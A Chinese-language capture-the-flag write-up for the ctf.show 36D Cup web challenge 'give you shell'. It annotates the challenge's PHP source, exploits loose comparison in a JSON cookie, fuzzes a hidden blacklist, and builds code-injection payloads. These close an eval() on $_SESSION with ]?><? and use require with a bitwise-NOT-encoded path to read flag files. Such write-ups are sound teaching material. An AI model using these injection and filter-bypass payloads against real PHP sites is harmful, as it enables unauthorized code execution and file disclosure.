ctf.show_36D杯_web_给你shell
进入题目,f12,有个链接view_source,还有个提示说flag在flag.txt里面,访问得到源码,下面是源码及分析
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";
if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}
function checkCookie($s) {
$arr = explode(':', $s); // 把s以:分割成数组
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true; // 检查$arr[1]是否由数字和英文字母A-Z还有"组成
} else {
if ( ! theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}
function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g); // md5加密
$_h_p = strtoupper($_m_u); // 转成大写
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1); // 从第一位开始,一个一个的取
$_i = ord($_i); //返回 $_i 的 ASCII值:
print_r($_i & 0xC0); // 按位与运算11000000 数字都会变成1输出,而字母都会变成0输出
}
die;
}
// 如果没有按位与运算的话,可以把输出的ASCII值返回成字符串再md5解密一下
isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');
// 判断有无secret
// 通过secret赋值给$json,再通过$json建立$obj
// json_decode() 将json格式的数据转换为对象,数组,转换为数组要加true
// json的secret需要满足 checkCookie($s) 里面的条件
if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}
/*要让传入的secret为 $flag_md5,这里就存在漏洞了,利用php的弱类型比较,但是这里又有个问题,在json_decode()返回""里面的内
容是字符串,就不能进行弱类型比较了,但是如果里面的内容,比如数字,没有被""括起来,返回的就是个int整数,所以注意把""删去,也
就是{"secret":123},这里开始没注意到还被坑了,一直没有爆破出来
*/
die;
分析完代码,那就很简单啦,爆破一下,得到结果
访问w3b5HeLLlll123.php,又是一串代码,进行分析
<?php
error_reporting(0);
session_start();
//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";
if (!$_SESSION['login'])
die('<script>location.href=\'./index.php\'</script>');
if (!isset($_GET['code'])) {
show_source(__FILE__);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) { //不知道黑名单,需要fuzz一下黑名单
//清空session 从头再来
eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}
/*
* When you feel that you are lost, do not give up, fight and move on.
* Being a hacker is not easy, it requires effort and sacrifice.
* But remember … we are legion!
* ————Deep CTF 2020
*/
fuzz得到的结果
0 200 false false 309 //309为黑名单里面的符号,但不一定是全部,只是符号
2 " 200 false false 309
4 $ 200 false false 309
6 & 200 false false 309
7 ' 200 false false 309
8 ( 200 false false 309
9 ) 200 false false 309
10 * 200 false false 309
15 / 200 false false 309
18 ; 200 false false 309
25 \ 200 false false 309
27 ^ 200 false false 309
29 ` 200 false false 309
31 | 200 false false 309
1 ! 200 false false 303
3 # 200 false false 303
5 % 200 false false 303
11 + 200 false false 303
12 , 200 false false 303
13 - 200 false false 303
14 . 200 false false 303
16 200 false false 303
17 : 200 false false 303
19 < 200 false false 303
20 = 200 false false 303
21 > 200 false false 303
22 ? 200 false false 303
23 @ 200 false false 303
24 [ 200 false false 303
26 ] 200 false false 303
28 _ 200 false false 303
30 { 200 false false 303
32 } 200 false false 303
33 ~ 200 false false 303
; ( ) ^很多符号被禁用了,利用的点只有eval("$_SESSION[" . $code . “]=false;”);,首先用
?code=]
闭合eval("$_SESSION[",然后就是想办法读取flag.txt文件了,而且要分隔开
eval("$_SESSION["]
和它后面的语句,但是;又在黑名单里面,但是<>?这三个符号不在黑名单,而在一个 PHP 代码段中的最后一行可以不用分号结束,于是构造**?><?**来进行bypass,这个时候构造语句就是
?code=]?><?
而因为()“都被ban了,所以能用来读取文件的函数就很少了,看到上面代码里面的require “hidden_filter.php”,得到想法,可能可以用require函数读取flag.txt,测一下,发现require不在黑名单内,但是” '又被ban了,又难办了,而且空格也被ban了,真是难搞,但查询之后知道require和~之间不需要空格就可以执行。于是想到用require~~flag.txt
,但是没用,fuzz一下发现原来是f被ban了。但也好办,自己先把flag.txt取反一次就好了,最后构造payload
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
得到
于是继续构造payload
?code=]=1?><?=require~%d0%99%93%9e%98?>
得到flag